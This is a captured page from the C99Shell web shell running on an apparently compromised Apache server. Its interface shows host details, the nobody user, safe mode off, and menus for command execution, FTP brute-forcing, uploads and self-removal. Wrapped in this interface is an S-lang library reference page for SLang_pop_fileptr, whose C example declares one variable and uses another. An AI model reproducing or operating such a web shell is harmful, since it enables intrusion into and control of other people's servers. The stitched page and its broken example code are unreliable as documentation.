!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/doc/slang-1.4.5/html/   drwxr-xr-x
Free 318.39 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cref-100.html (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
{The S-lang C Library Reference}: SLang_pop_fileptr Next Previous Contents

100. SLang_pop_fileptr

Synopsis

Pop a file pointer

Usage

int SLang_pop_fileptr (SLang_MMT_Type **mmt, FILE **fp)

Description

SLang_pop_fileptr pops a file pointer from the S-lang run-time stack. It returns zero upon success, or -1 upon failure.

A S-lang file pointer (SLANG_FILEPTR_TYPE) is actually a memory managed object. For this reason, SLang_pop_fileptr also returns the memory managed object via the argument list. It is up to the calling routine to call SLang_free_mmt to free the object.

Example

The following example illustrates an application defined intrinsic function that writes a user defined double precision number to a file. Note the use of SLang_free_mmt:

     int write_double (void)
     {
        double t;
        SLang_MMT_Type *mmt;
        FILE *fp;
        int status;

        if (-1 == SLang_pop_double (&d, NULL, NULL))
          return -1;
        if (-1 == SLang_pop_fileptr (&mmt, &fp))
          return -1;
        
        status = fwrite (&d, sizeof (double), 1, fp);
        SLang_free_mmt (mmt);
        return status;
     }
This function can be used by a S-lang function as follows:
     define write_some_values ()
     {
        variable fp, d;

        fp = fopen ("myfile.dat", "wb");
        if (fp == NULL)
          error ("file failed to open");
        for (d = 0; d < 10.0; d += 0.1)
          {
             if (-1 == write_double (fp, d))
               error ("write failed");
          }
        if (-1 == fclose (fp))
          error ("fclose failed");
     }
See Also

SLang_free_mmt, SLang_pop_double


Next Previous Contents

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0038 ]--